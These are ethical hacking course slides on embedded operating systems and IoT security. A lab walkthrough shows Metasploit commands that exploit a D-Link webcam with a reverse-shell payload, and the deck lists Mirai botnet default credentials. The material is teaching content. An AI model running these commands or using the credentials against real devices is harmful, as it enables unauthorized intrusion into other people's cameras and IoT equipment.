
CIS 76 - Lesson 11

 Slides and lab posted
 WB converted from PowerPoint
 Print out agenda slide and annotate page numbers

 Flash cards 
 Properties  
 Page numbers  
 1st minute quiz  
 Web Calendar summary   
 Web book pages  
 Commands  

 Lab 9 tested and published

 Backup slides, whiteboard slides, CCC info, handouts on flash drive 
 Spare 9v battery for mic
 Key card for classroom door

 Update CCC Confer and 3C Media portals
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Rich's lesson module checklist

Last updated 11/7/2017
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CIS 76
Ethical Hacking
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TCP/IP

Enumeration

Port Scanning

Evading Network 
Devices

Hacking 
Web Servers

Hacking Wireless 
Networks

Scripting and 
Programming

Footprinting and 
Social Engineering

Network and 
Computer Attacks

Cryptography

Embedded Operating 
Systems

Student Learner Outcomes
1.Defend a computer and a LAN against a variety of different types of 

security attacks using a number of hands-on techniques.

2.Defend a computer and a LAN against a variety of different types of 
security attacks using a number of hands-on techniques.

Desktop and Server 
Vulnerabilities
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Introductions and Credits
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And thanks to:
• Steven Bolt at for his WASTC EH training.
• Kevin Vaccaro for his CSSIA EH training and Netlab+ pods. 
• EC-Council for their online self-paced CEH v9 course.
• Sam Bowne for his WASTC seminars, textbook recommendation and fantastic 

EH website (https://samsclass.info/).
• Lisa Bock for her great lynda.com EH course.
• John Govsky for many teaching best practices: e.g. the First Minute quizzes, 

the online forum, and the point grading system (http://teacherjohn.com/).
• Google for everything else!

Rich Simms 
• HP Alumnus.
• Started teaching in 2008 when Jim Griffin went on 

sabbatical.
• Rich’s site: http://simms-teach.com
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Student checklist for attending class 

1. Browse to: 
http://simms-teach.com

2. Click the CIS 76 link.
3. Click the Calendar link.
4. Locate today’s lesson.
5. Find the Presentation slides for 

the lesson and download for 
easier viewing.

6. Click the Enter virtual classroom
link to join CCC Confer. 

7. Log into Opus-II with Putty or ssh
command.

Note:  Blackboard Collaborate Launcher only 
needs to be installed once.  It has already 
been downloaded and installed on the 
classroom PC’s.
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 Downloaded PDF of Lesson Slides Google  CCC Confer

 CIS 76 website Calendar page
 One or more login 

sessions to Opus-II

Student checklist for suggested screen layout
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2) Click overlapping rectangles 
icon.  If  white "Start Sharing" text 
is present then click it as well.

3) Click OK button.

4) Select "Share desktop" 
and click Share button.

1) Instructor gives you sharing privileges.

Student checklist for sharing desktop with classmates



CIS 76 - Lesson 11

[ ] Preload White Board

[ ] Connect session to Teleconference

[ ] Is recording on?

[ ] Use teleconferencing, not mic
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Session now connected 
to teleconference

Should be grayed out

Red dot means recording

Should change 
from phone 
handset icon to 
little Microphone 
icon and the 
Teleconferencing … 
message displayed

Rich's CCC Confer checklist - setup
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8[ ] layout and share apps

foxit for slides chrome

putty
vSphere Client

Rich's CCC Confer checklist - screen layout
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[ ] Video (webcam) 

[ ] Make Video Follow Moderator Focus

Rich's CCC Confer checklist - webcam setup
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Run and share the Image Mate 
program just as you would any other 
app with CCC Confer

Elmo rotated down to view side table

Elmo rotated up to view white board

The "rotate image" 
button is necessary 
if you use both the 
side table and the 
white board.  

Quite interesting 
that they consider 
you to be an 
"expert" in order to 
use this button!

Rotate
image 
button

Rotate
image 
button

Rich's CCC Confer checklist - Elmo
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Universal Fix for CCC Confer:
1) Shrink (500 MB) and delete Java cache
2) Uninstall and reinstall latest Java runtime
3) http://www.cccconfer.org/support/technicalSupport.aspx

Control Panel (small icons) 500MB cache sizeGeneral Tab > Settings… Delete these

Google Java download

Rich's CCC Confer checklist - universal fixes
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Start
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Sound Check
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Students that dial-in should mute their line 
using *6 to prevent unintended noises 
distracting the web conference.

Instructor can use *96 to mute all student lines.

Volume
*4 - increase conference volume.
*7 - decrease conference volume.
*5 - increase your voice volume.
*8 - decrease your voice volume.
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Instructor:  Rich Simms
Dial-in: 888-886-3951 
Passcode: 136690

Miguel

Chris CameronTanner

Karl-Heinz

Tre

May

Email me (risimms@cabrillo.edu) a relatively current photo of your face for 3 points extra credit

Sam B.

Ryan M.

GarrettBruce

XuHelen

Philip

Remy

Sam R. Ryan A.

Aga Karina Mariano

Bobby
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First Minute Quiz

Please answer these questions in the order 
shown:

15

email answers to:  risimms@cabrillo.edu

(answers must be emailed within the first few minutes of class for credit)
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Objectives Agenda

• Understand what embedded operating systems 

are.

• Describe various embedded operating systems 

in use today.

• Identify ways to protect embedded operating 

systems.

• Quiz #8

• Questions

• In the news

• Best practices

• Housekeeping

• Embedded systems

• Enterprise IoT Risk Report

• Industrial Control Systems

• Hacking a webcam (work in progress)

• Hacking Android

• Assignment

• Wrap up

Embedded Operating Systems

16



CIS 76 - Lesson 11

Admonition
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Shared from cis76-newModules.pptx
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Unauthorized hacking is a crime.

The hacking methods and activities 
learned in this course can result in prison 
terms, large fines and lawsuits if used in 
an unethical manner. They may only be 

used in a lawful manner on equipment you 
own or where you have explicit permission 

from the owner.

Students that engage in any unethical, 
unauthorized or illegal hacking may be 

dropped from the course and will receive 
no legal protection or help from the 

instructor or the college.



CIS 76 - Lesson 11

Questions
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Questions?

Lesson material?

Labs?    Tests?

How this course works?

20

Chinese 
Proverb

他問一個問題，五分鐘是個傻子，他不問一個問題仍然是一個
傻瓜永遠。

He who asks a question is a fool for five minutes; he who does not ask a question 
remains a fool forever.   

If you don't ask, you don't get.
- Mahatma Gandhi

Who questions much, shall learn 
much, and retain much.

- Francis Bacon 
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Shutdown all:

EH-WinXP VMs
EH-OWASP VMs
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In the 
news
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Recent news

Bulletin (SB17-310)
Vulnerability Summary for the Week of October 30, 2017
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https://www.us-cert.gov/ncas/bulletins/SB17-310/

1  adult_script_pro -- adult_script_pro
2  amazon_web_services -- cloudformation_boostrap
3  apache -- cordova
4  apache -- cordova
5  apache -- hadoop
6  apache -- hive
7  apache -- httpclient
8  apache -- juddi
9  apache -- juddi
10  apache -- qpid
11  apache -- storm
12  apache -- struts
13  apache -- subversion
14  apache -- traffic_server
15  apache -- traffic_server

https://www.us-cert.gov/ncas/bulletins/SB17-310
https://www.wired.com/2016/11/googles-chrome-hackers-flip-webs-security-model/
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Recent news

Bulletin (SB17-310)
Vulnerability Summary for the Week of October 30, 2017
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https://www.us-cert.gov/ncas/bulletins/SB17-310/

16  apache -- wicket
17  apache -- wicket
18  apache -- wss4j
19  apache -- xerces2_java
20  apache -- xml-rpc
21  arox -- school_erp_php_script
22  article_directory_script -- article_directory_script
23  barco -- clickshare
24  barco -- clickshare
25  basic -- b2b_script
26  bchunk -- bchunk
27  bchunk -- bchunk
28  bchunk -- bchunk
29  bitdefender -- internet_security_2018
30  cisco -- access_network_query_protocol
31  cisco -- aironet
32  cisco -- aironet
33  cisco -- application_policy_infrastructure_controller_enterprise_module
34  cisco -- identity_services_engine
35  cisco -- ios_software

https://www.us-cert.gov/ncas/bulletins/SB17-310
https://www.wired.com/2016/11/googles-chrome-hackers-flip-webs-security-model/
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Recent news

Bulletin (SB17-310)
Vulnerability Summary for the Week of October 30, 2017
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https://www.us-cert.gov/ncas/bulletins/SB17-310/

36  cisco -- prime_collaboration_provisioning
37  cisco -- protected_extensible_authentication_protocol
38  cisco -- protected_management_frames
39  cisco -- simple_network_management_protocol
40  cisco -- smart_licensing_manager
41  cisco -- unified_computing_system
42  cisco -- webex_meetings_server
43  cisco -- webex_meetings_server
44  cisco -- wireless_lan_controllers
45  cisco -- wireless_lan_controllers
46  converto -- video_downloader_and_converter
47  creative_management_system -- creative_management_system_lite
48  d-link -- dsl-2740e_1.00_BG_20150720_devices
49  docker-ce -- docker-ce
50  docker-ce -- docker-ce
51  d-park_pro -- domain_parking_script
52  dulwich -- dulwich
53  dynamic -- news_magazine_and_blog_cms
54  ektron -- content_management_system
55  ektron -- content_management_system

https://www.us-cert.gov/ncas/bulletins/SB17-310
https://www.wired.com/2016/11/googles-chrome-hackers-flip-webs-security-model/
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Recent news

Bulletin (SB17-310)
Vulnerability Summary for the Week of October 30, 2017
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https://www.us-cert.gov/ncas/bulletins/SB17-310/

56  emc -- appsync_server
57  emc -- rsa_authentication_manager
58  emc -- unisphere
59  enalean -- tuleap
60  eyesofnetwork -- eyesofnetwork
61  eyesofnetwork -- eyesofnetwork
62  f5 -- multiple_products
63  f5 -- multiple_products
64  f5 -- multiple_products
65  f5 -- multiple_products
66  f5 -- multiple_products
67  f5 -- multiple_products
68  f5 -- multiple_products
69  flets -- easy_setup_tool
70  flexense -- syncbreeze
71  fortinet -- fortios
72  fortinet -- fortios
73  foxit -- reader
74  foxit -- reader
75  foxit -- reader

https://www.us-cert.gov/ncas/bulletins/SB17-310
https://www.wired.com/2016/11/googles-chrome-hackers-flip-webs-security-model/
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Recent news

Bulletin (SB17-310)
Vulnerability Summary for the Week of October 30, 2017
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https://www.us-cert.gov/ncas/bulletins/SB17-310/

76  foxit -- reader
77  foxit -- reader
78  foxit -- reader
79  foxit -- reader
80  foxit -- reader
81  foxit -- reader
82  gnu -- binutils
83  gnu -- binutils
84  gnu -- wget
85  gnu -- wget
86  gnu -- binutils
87  gnu -- emacs
88  google -- android
89  google -- android
90  google -- android
91  google -- chrome
92  google -- chrome
93  google -- chrome
94  google -- chrome

https://www.us-cert.gov/ncas/bulletins/SB17-310
https://www.wired.com/2016/11/googles-chrome-hackers-flip-webs-security-model/


CIS 76 - Lesson 11

Recent news

Bulletin (SB17-310)
Vulnerability Summary for the Week of October 30, 2017

38

https://www.us-cert.gov/ncas/bulletins/SB17-310/

96  google -- chrome
97  google -- chrome
98  google -- chrome
99  google -- chrome
100  google -- chrome
101  google -- chrome
102  google -- chrome
103  graphicsmagick -- graphicsmagick
104  graphicsmagick -- graphicsmagick
105  graphicsmagick -- graphicsmagick
106  hashicorp -- vagrant
107  hpe -- performance_center
108  hp -- arcsight
109  hp -- arcsight
110  hp -- arcsight
111  ibm -- infosphere_biginsights
112  ibm -- infosphere_biginsights
113  ibm -- infosphere_biginsights
114  ibm -- jazz_reporting_services

https://www.us-cert.gov/ncas/bulletins/SB17-310
https://www.wired.com/2016/11/googles-chrome-hackers-flip-webs-security-model/
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Recent news

Bulletin (SB17-310)
Vulnerability Summary for the Week of October 30, 2017
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https://www.us-cert.gov/ncas/bulletins/SB17-310/

115  ibm -- openpages_grc_platform
116  ibm -- openpages_grc_platform
117  ibm -- openpages_grc_platform
118  ibm -- openpages_grc_platform
119  ibm -- openpages_grc_platform
120  ibm -- openpages_grc_platform
121  imap -- imap
122  ingenious -- school_management_system
123  iproject -- management_system
124  ipswitch -- ws_ftp_professional
125  istock -- management_system
126  itech -- gigs_script
127  jenkins -- jenkins
128  jenkins -- jenkins
129  jenkins -- jenkins
130  job_board -- script_software
131  joomla! -- joomla!
132  joomla! -- joomla!
133  joyent -- smart_data_center

https://www.us-cert.gov/ncas/bulletins/SB17-310
https://www.wired.com/2016/11/googles-chrome-hackers-flip-webs-security-model/
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Recent news

Bulletin (SB17-310)
Vulnerability Summary for the Week of October 30, 2017
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https://www.us-cert.gov/ncas/bulletins/SB17-310/

134  korenix -- jetnet
135  korenix -- jetnet
136  libvirt -- libvirt
137  linux -- linux_kernel
138  linux -- linux_kernel
139  linux -- linux_kernel
140  linux -- linux_kernel
141  linux -- linux_kernel
142  linux -- linux_kernel
143  linux -- linux_kernel
144  linux -- linux_kernel
145  linux -- linux_kernel
146  linux -- linux_kernel
147  linux -- linux_kernel
148  linux -- linux_kernel
149  linux -- linux_kernel
150  linux -- linux_kernel
151  linux -- linux_kernel
152  linux -- linux_kernel

https://www.us-cert.gov/ncas/bulletins/SB17-310
https://www.wired.com/2016/11/googles-chrome-hackers-flip-webs-security-model/
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Recent news

Bulletin (SB17-310)
Vulnerability Summary for the Week of October 30, 2017
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https://www.us-cert.gov/ncas/bulletins/SB17-310/

153  linux -- linux_kernel
154  mahara -- mahara
155  mahara -- mahara
156  mahara -- mahara
157  mahara -- mahara
158  mahara -- mahara
159  mahara -- mahara
160  mahara -- mahara
161  mahara -- mahara
162  mahara -- mahara
163  mahara -- mahara
164  mahara -- mahara
165  mahara -- mahara
166  mahara -- mahara
167  mahara -- mahara
168  mahara -- mahara
169  mahara -- mahara
170  mahara -- mahara
171  mahara -- mahara

https://www.us-cert.gov/ncas/bulletins/SB17-310
https://www.wired.com/2016/11/googles-chrome-hackers-flip-webs-security-model/
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Recent news

Bulletin (SB17-310)
Vulnerability Summary for the Week of October 30, 2017
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https://www.us-cert.gov/ncas/bulletins/SB17-310/

172  mahara -- mahara
173  mahara -- mahara
174  mahara -- mahara
175  mahara -- mahara
176  mahara -- mahara
177  mahara -- mahara
178  mahara -- mahara
179  mahara -- mahara
180  mahara -- mahara
181  mahara -- mahara
182  mahara -- mahara
183  mahara -- mahara_mobile
184  mailing_list -- manager_pro
185  mcafee -- network_data_loss_prevention
186  mcafee -- network_data_loss_prevention
187  mcafee -- network_data_loss_prevention
188  microsoft -- chakracore
189  mitrastar -- mitrastar
190  mitrastar -- mitrastar

https://www.us-cert.gov/ncas/bulletins/SB17-310
https://www.wired.com/2016/11/googles-chrome-hackers-flip-webs-security-model/
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Recent news

Bulletin (SB17-310)
Vulnerability Summary for the Week of October 30, 2017
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https://www.us-cert.gov/ncas/bulletins/SB17-310/

191  mongodb -- mongodb
192  mybuilder -- clone
193  mymagazine -- magazine_and_blog_cms
194  nice -- php
195  node.js -- node.js
196  octobercms -- octobercms
197  online_exam_test_application -- online_exam_test_application
198  openam -- openam
199  openemr -- openemr
200  openssl -- openssl
201  oracle -- fusion_middleware
202  perl -- perl
203  pg -- all_share_video
204  php -- cityportal
205  php -- inventory_and_invoice_management_system
206  pluxml -- pluxml
207  progress -- openedge
208  protected_links -- expiring_download_links

https://www.us-cert.gov/ncas/bulletins/SB17-310
https://www.wired.com/2016/11/googles-chrome-hackers-flip-webs-security-model/


CIS 76 - Lesson 11

Recent news

Bulletin (SB17-310)
Vulnerability Summary for the Week of October 30, 2017
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https://www.us-cert.gov/ncas/bulletins/SB17-310/

209  qemu -- qemu
210  quagga -- quagga
211  radare -- radare2
212  radare -- radare2
213  radare -- radare
214  radare -- radare
215  radare -- radare
216  rakuraku -- hagaki
217  responsive -- newspaper_magazine_and_blog_cms
218  rsync -- rsync
219  ruby -- ruby
220  same_sex_dating_software_pro -- same_sex_dating_software_pro
221  schedmd -- slurm
222  scriptcopy -- cpa_lead_reward_script
223  serasoft.com -- sera
224  shadowsocks-libev -- shadowsocks-libev
225  sharett -- shareet
226  softech_products -- softdatepro
227  sokial -- sokial

https://www.us-cert.gov/ncas/bulletins/SB17-310
https://www.wired.com/2016/11/googles-chrome-hackers-flip-webs-security-model/
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Recent news

Bulletin (SB17-310)
Vulnerability Summary for the Week of October 30, 2017
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https://www.us-cert.gov/ncas/bulletins/SB17-310/

228  ssh -- ssh_plugin
229  synology -- audio_station
230  tenable -- securitycenter
231  tor -- browser
232  tpanel -- tpanel
233  tp-link -- tl-wr741n/tl-wr741nd_router
234  typecho -- typecho
235  us_zip_codes -- database_script
236  vastal -- i-tech_agent_zone
237  vastal -- i-tech_dating_zone
238  vim -- vim
239  vir.it -- explorer_anti-virus
240  watchdog -- anti-malware
241  watchdog -- anti-malware
242  webkit -- webkit
243  webkit -- webkit
244  website_broker_script -- website_broker_script
245  websitescripts.org -- fake_magazine_cover_script

https://www.us-cert.gov/ncas/bulletins/SB17-310
https://www.wired.com/2016/11/googles-chrome-hackers-flip-webs-security-model/
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Recent news

Bulletin (SB17-310)
Vulnerability Summary for the Week of October 30, 2017
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https://www.us-cert.gov/ncas/bulletins/SB17-310/

245  websitescripts.org -- fake_magazine_cover_script
246  wordpress -- wordpress
247  xen -- xen
248  zeebuddy -- zeebuddy
249  zomato -- clone_script

https://www.us-cert.gov/ncas/bulletins/SB17-310
https://www.wired.com/2016/11/googles-chrome-hackers-flip-webs-security-model/
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Best 
Practices
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http://www.bbc.com/news/technology-37896273

Online Banking Best Practices

1. Choose a strong password and do not reuse it with other 
accounts.

2. Keep your PC, phone or tablet updated.

3. Be on the look-out for phishing emails that capitalize on the 
news about any breach.

4. Use the bank's two-factor authentication.

Additional contributions from the classroom:

6. Close the session when done.
7. Don't have lots of other tabs open.
8. Don't use answers to the security questions that will reveal personal information if 

compromised.
9. Outside of online banking it was noted that many companies ask for your real 

birthdate which they don't really need.  That information could also be compromised.

http://www.bbc.com/news/technology-37896273
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http://thehackernews.com/2016/10/ddos-attack-mirai-iot.html

Smart Device Best Practices

1. Do an inventory of all IoT devices

2. Change the default passwords.

3. Disable Universal Plug and Play (UPnP). Check your 
router too on this.

4. Disable remote management via telnet or ssh.

5. Check for software updates and patches.

http://thehackernews.com/2016/10/ddos-attack-mirai-iot.html
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Housekeeping

50
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Housekeeping

1. Lab 8 due tonight by 11:59pm.

2. Note:  Lab 9 and five posts due next week.

3. You can still send me your photo for our class page if you 
want 3 points extra credit.

51
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Where to find your grades

52

Send me your survey to get your LOR code name. 

http://simms-teach.com/cis76grades.php

Or check on Opus-II
checkgrades codename
(where codename is your LOR codename)

Written by Jesse Warren a past CIS 90 Alumnus

At the end of the term I'll add up all 
your points and assign you a grade 
using this table

The CIS 76 website Grades page

Points that could have been earned:
7 quizzes: 21 points
7 labs: 210 points
2 tests: 60 points
2 forum quarters: 40 points
Total: 331 points

Update your path in .bash_profile to run checkgrades
PATH=$PATH:/home/cis76/bin
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The final project specifications 
are now available.  

The final project is due on the 
Lesson 15 day.

https://simms-
teach.com/docs/cis76/cis76final-
project.pdf

https://simms-teach.com/docs/cis76/cis76final-project.pdf
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Heads up on Final Exam

Test #3 (final exam) is TUESDAY Dec 12 4-6:50PM

54

• All students will take the test at the same time. The test must be 
completed by 6:50PM.

• Working and long distance students can take the test online via 
CCC Confer and Canvas.

• Working students will need to plan ahead to arrange time off from 
work for the test.

• Test #3 is mandatory (even if you have all the points you want)

Extra credit 
labs and 
final posts 
due by 
11:59PM

Tue
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Microsoft Academic Webstore

• Microsoft software for 
students registered in a 
CIS or CS class at 
Cabrillo

• Available after 
registration is final (two 
weeks after first class)

• Click "All" on left panel 
to make sure you don't 
miss anything.

• Azure is available to 
students as well. 

56
To get to this page, go to http://simms-teach.com/resources and 
click on the appropriate link in the Tools and Software section
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VMware Academic Webstore

• VMware software for 
students registered in 
a CIS or CS class at 
Cabrillo

• Available after 
registration is final 
(two weeks after first 
class)

• Sphere 6.5 Enterprise 
now available

57
To get to this page, go to http://simms-teach.com/resources and 
click on the appropriate link in the Tools and Software section



CIS 76 - Lesson 11

60

Embedded 
Systems
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Embedded Operating Systems

Embedded systems, unlike general purpose PCs and servers, are 
appliances/devices built with a computer system to perform a specific 
function:

• Network devices like routers, switches, firewalls and access points
• Digital video recorders like Tivo
• Bank ATMs
• Smart phones
• GPSs
• Point of sale "cash registers"
• Entertainment systems like the ones found in airliners 
• HVAC systems like the one in building 800
• Factory automation
• IoT devices
• Airliner and jet fighter Avionics
• Printers, scanners, faxes, copiers
• And many more
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Embedded Operating Systems

Embedded operating systems

• Small, efficient and often require less power.
• Typically use less memory and have no hard drive.
• Examples:

• Stripped down versions of desktop operating 
systems:
• Linux
• Windows Embedded family

• Real Time Operating Systems (RTOS)
• VxWorks by Wind River Systems
• Green Hills Software
• QNX
• Siemens

• Are networked
• Can be difficult to patch
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Embedded Linux
(just a few)

63

Tivo Buffalo
NAS storage

MikroTik
Routers

Android Tablets

Android
Cell Phones

Virgin America
Personal

Entertainment

Asus RT-AC66U 
wireless router

Katana
Robotic Arm

Garmin
Nuvi 5000

Yamaha Disklavier
Mark IV

Raspberry Pi

Some TomTom
GPS models

Sony TVs

For more see: http://linuxgizmos.com/category/devices/

TripBPX
Phone 
System

Erle-Copter
drone

Stir smart desk

Polycom 
VOIP
Phone

Amazon
Kindle

Nest Cam
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Windows Embedded Family

64http://news.thewindowsclub.com/microsoft-unveils-windows-embedded-8-1-download-industry-release-preview-now-64071/

http://news.thewindowsclub.com/microsoft-unveils-windows-embedded-8-1-download-industry-release-preview-now-64071/
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Windows XP Embedded

65
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Embedded Windows Family for Medical Products 

http://ocs.arrow.com/msembedded/medical/

http://ocs.arrow.com/msembedded/medical/
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Wind River Systems 
VxWorks Real Time Operating System

67

Mars Rover Jetliner avionics

Map Displays Control Systems for 
large Telescopes

Medical Systems

Industrial Systems

http://www.windriver.com/customers/

http://www.windriver.com/customers/
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Green Hills Software
Integrity RTOS

68http://www.ghs.com/CustomerGallery.html

http://www.ghs.com/CustomerGallery.html
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QNX
QNX OS and QNX Neutrino RTOS

69https://www.qnx.com/

https://www.qnx.com/
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IoT Risk

Report
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ForeScout IoT Enterprise Risk Report

https://www.forescout.com/wp-content/uploads/2016/10/iot-enterprise-risk-report.pdf

https://www.forescout.com/wp-content/uploads/2016/10/iot-enterprise-risk-report.pdf


CIS 76 - Lesson 11

72

ForeScout IoT Enterprise Risk Report

https://www.youtube.com/watch?v=CeTILnlh2ek&feature=youtu.be

Time:  4 minutes 17 seconds

https://www.youtube.com/watch?v=CeTILnlh2ek&feature=youtu.be
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Industrial 
Control 
Systems
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Industrial Control Systems

Industrial Control Systems

• SCADA (Supervisory Control and Data Acquisition)
• SCADA is a category of software for process control and 

automation.
• Used in power plants, oil refineries, telecommunications, 

transportation, water and waste control.
• Examples:

• Siemans SIMATIC WinCC
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https://instrumentsignpost.files.wordpress.com/2012/02/sanscybersecurityposter.jpg


Idaho National Lab Aurora Demonstration

• 3.8 MVA diesel electrical poser generator damaged 

by demonstration cyber attack
https://www.smartgrid.gov/files/Aurora_Vulnerability_Issues_Solution_Hardware_Mitigation_De_201102.pdf

https://www.youtube.com/watch?v=fJyWngDco3g

https://www.smartgrid.gov/files/Aurora_Vulnerability_Issues_Solution_Hardware_Mitigation_De_201102.pdf
https://www.youtube.com/watch?v=fJyWngDco3g
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https://sharkscale.wordpress.com/2016/02/06/defending-against-stuxnet/

STUXNET

The attack on Iran's nuclear centrifuges

https://sharkscale.wordpress.com/2016/02/06/defending-against-stuxnet/
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Siemens
SIMATIC PCS 7
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Hacking a 
Webcam

Round 1
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D-Link 933L

Power LED
Reset hole
WPS (WiFi Protected Setup)

RJ-45 LAN Jack

http://us.dlink.com/products/home-solutions/day-
night-wifi-camera-dcs-933l/

http://us.dlink.com/products/home-solutions/day-night-wifi-camera-dcs-933l/
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Let's start by searching for D-Link vulnerabilities

https://www.cvedetails.com/
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Now this looks promising!

https://www.cvedetails.com/google-search-results.php?q=dlink&sa=Search

https://www.cvedetails.com/google-search-results.php?q=dlink&sa=Search
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This is for a similar model.  My model is included though in the fine print.

http://www.cvedetails.com/metasploit-modules/vendor-899/D-link.html

http://www.cvedetails.com/metasploit-modules/vendor-899/D-link.html
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http://www.cvedetails.com/cve/CVE-2015-2049/
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https://www.rapid7.com/db/modules/exploit/linux/http/dlink_dcs931l_upload

That brings us to D-Link DCS-931L File Upload exploit on the Rapid7 website

https://www.rapid7.com/db/modules/exploit/linux/http/dlink_dcs931l_upload
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https://www.rapid7.com/db/modules/exploit/linux/http/dlink_dcs931l_upload

Scroll down to the References and click on the first link

https://www.rapid7.com/db/modules/exploit/linux/http/dlink_dcs931l_upload
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McLean, Virginia - February 25, 2015,

Tangible Security researchers Mike Baucom, Allen Harper, and J. Rach discovered serious vulnerabilities in 
two devices made by D-Link.

D-Link DCS-931L

A Day & Night Wi-Fi Camera
• More info from vendor
• CVE-2015-2049
• Vulnerability Description: A hidden webpage on the device allows an attacker to upload arbitrary files from the 

attackers system. By allowing the attacker to specify the file location to write on the device, the attacker has 
the ability to upload new functionality. The D-Link DCS-931L: Firmware Version 1.04 (2014-04- 21) / 2.0.17-
b62. Older versions and configurations were NOT tested. This also applies to DCS-930L, DCS-932L, DCS-933L 
models.

• Impact Description: By allowing any file in the file system to be overwritten, the attacker is allowed to overwrite 
functionality of the device. The unintended functionality reveals details that could lead to further exploitation. 
There are security impacts to the confidentially, integrity, and availability of the device and its services.

< Snipped >

Tangible Security is unaware of any public exploits of these vulnerabilities. However, due to the 
categorization of these vulnerabilities, it may be reasonable to believe that cyber criminals are doing so.

We urge users of these devices, including older and newer models, to download and install the latest 
firmware updates available from D-Link that address these vulnerabilities. Failing to do so exposes those 
benefiting from the use of these devices to cyber crime risks.

Our researchers wish to express their appreciation for D-Link’s cooperation and desire to make their 
products and customers more secure.

https://tangiblesecurity.com/index.php/announcements/tangible-
security-researchers-notified-and-assisted-d-link-with-fixing-critical-
device-vulnerabilities

One of the references mentioned on the Rapid7 website

https://tangiblesecurity.com/index.php/announcements/tangible-security-researchers-notified-and-assisted-d-link-with-fixing-critical-device-vulnerabilities
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https://www.rapid7.com/db/modules/exploit/linux/http/dlink_dcs931l_upload

Scroll down to Development and click on Source Code

https://www.rapid7.com/db/modules/exploit/linux/http/dlink_dcs931l_upload
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https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/dlink_dcs931l_upload.rb

Uh-oh, looks like my model was "untested"

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/dlink_dcs931l_upload.rb
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The firmware I have is newer than the one documented in the source code
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https://www.rapid7.com/db/modules/exploit/linux/http/dlink_dcs931l_upload

Scroll down to Module Options to see how to use the exploit

https://www.rapid7.com/db/modules/exploit/linux/http/dlink_dcs931l_upload
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So I have a different model than the one tested and my firmware is newer

What the heck, let's try it anyway ...

Use show payloads to see which payloads will work with the selected exploit

use exploit/linux/http/dlink_dcs931l_upload

show payloads

set payload linux/mipsle/shell_reverse_tcp
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Setup all the required options

set RHOST 192.168.1.96

set LHOST 192.168.1.56

set LPORT 4444

show options
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Drat, didn't work!

exploit
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Hacking a 
Webcam

Round 2
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D-Link 933L

Power LED
Reset hole
WPS (WiFi Protected Setup)

RJ-45 LAN Jack

http://us.dlink.com/products/home-solutions/day-
night-wifi-camera-dcs-933l/

Last week I tried to hack this webcam and failed

http://us.dlink.com/products/home-solutions/day-night-wifi-camera-dcs-933l/
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D-Link 931L

Power LED
Reset hole
WPS (WiFi Protected Setup)

RJ-45 LAN Jack

http://us.dlink.com/products/home-solutions/day-
only-wifi-camera-dcs-931l/

This week I tried a different model of the webcam.  This is the one the exploit was tested on.

http://us.dlink.com/products/home-solutions/day-only-wifi-camera-dcs-931l/
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Search for D-Link vulnerabilities

https://www.cvedetails.com/
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Find the link to Metasploit modules for D-Link
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Locate the exploit again for the DCS-931L 
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Review the vulnerability
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https://www.rapid7.com/db/modules/exploit/linux/http/dlink_dcs931l_upload

Go to the Rapid7 website

https://www.rapid7.com/db/modules/exploit/linux/http/dlink_dcs931l_upload
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Go to the References section again
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McLean, Virginia - February 25, 2015,

Tangible Security researchers Mike Baucom, Allen Harper, and J. Rach discovered serious vulnerabilities in 
two devices made by D-Link.

D-Link DCS-931L

A Day & Night Wi-Fi Camera
• More info from vendor
• CVE-2015-2049
• Vulnerability Description: A hidden webpage on the device allows an attacker to upload arbitrary files from the 

attackers system. By allowing the attacker to specify the file location to write on the device, the attacker has 
the ability to upload new functionality. The D-Link DCS-931L: Firmware Version 1.04 (2014-04- 21) / 2.0.17-
b62. Older versions and configurations were NOT tested. This also applies to DCS-930L, DCS-932L, DCS-933L 
models.

• Impact Description: By allowing any file in the file system to be overwritten, the attacker is allowed to overwrite 
functionality of the device. The unintended functionality reveals details that could lead to further exploitation. 
There are security impacts to the confidentially, integrity, and availability of the device and its services.

< Snipped >

Tangible Security is unaware of any public exploits of these vulnerabilities. However, due to the 
categorization of these vulnerabilities, it may be reasonable to believe that cyber criminals are doing so.

We urge users of these devices, including older and newer models, to download and install the latest 
firmware updates available from D-Link that address these vulnerabilities. Failing to do so exposes those 
benefiting from the use of these devices to cyber crime risks.

Our researchers wish to express their appreciation for D-Link’s cooperation and desire to make their 
products and customers more secure.

https://tangiblesecurity.com/index.php/announcements/tangible-
security-researchers-notified-and-assisted-d-link-with-fixing-
critical-device-vulnerabilities

And review the article again

https://tangiblesecurity.com/index.php/announcements/tangible-security-researchers-notified-and-assisted-d-link-with-fixing-critical-device-vulnerabilities
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Review again the source code



CIS 76 - Lesson 11

113
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/dlink_dcs931l_upload.rb

The exploit was tested on firmware versions 1.01 and 1.04.

We should try and get the same or earlier version of the firmware

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/dlink_dcs931l_upload.rb
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This site does have an older, vulnerable version of the firmware

http://www.driverfilesdownload.com/drivers-download/firmware-drivers-update/d-link/page/1
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The exploit was tested on versions 1.01 to 1.04 so this might actually work.

http://www.driverfilesdownload.com/drivers-download/firmware-drivers-update/d-link/page/1
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http://www.driverfilesdownload.com/drivers-download/firmware-drivers-update/d-link/page/1

The older version of the firmware has been installed on the DCS-931L 

http://www.driverfilesdownload.com/drivers-download/firmware-drivers-update/d-link/page/1
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And we try again to exploit the webcam ...

use exploit/linux/http/dlink_dcs931l_upload

set RHOST 192.168.1.96

set payload linux/mipsle/shell_reverse_tcp

set LHOST 192.168.1.56

show options
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Success this time!

exploit
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We have a shell, but NO prompt!.  
ps command shows current processes.
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Long listing of the / directory.  Note the use of BusyBox.
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Only one user and that is the superuser.

Mount points
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Googling: andy ipcam3352 RT288x_SDK yields a Russian DLink forum 

http://forum.dlink.ru/viewtopic.php?f=13&t=164084&start=30

http://forum.dlink.ru/viewtopic.php?f=13&t=164084&start=30
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After 
translation, the 
Russians are 
also surprised 
to find the 
andy directory

http://forum.dlink.ru/viewtopic.php?f=13&t=164084&start=30

http://forum.dlink.ru/viewtopic.php?f=13&t=164084&start=30
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Hacking a 
Webcam

Round 3
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931L 
Firmware: v1.03
IP address: 192.168.72.246 

Can we leverage BusyBox and the Mirai Bot default credentials?
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Mirai Bot Default Credentials

cd mirai-botnet/Mirai-Source-Code-master/mirai/bot/

vi scanner.c

The Mirai Bot source code is on EH-Rouji
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Mirai Bot Default Credentials

666666
888888
admin
admin1
administrator
Administrator admin
guest
mother
root
service
supervisor
support
tech
ubnt
user

jvbzd
klv123
klv1234
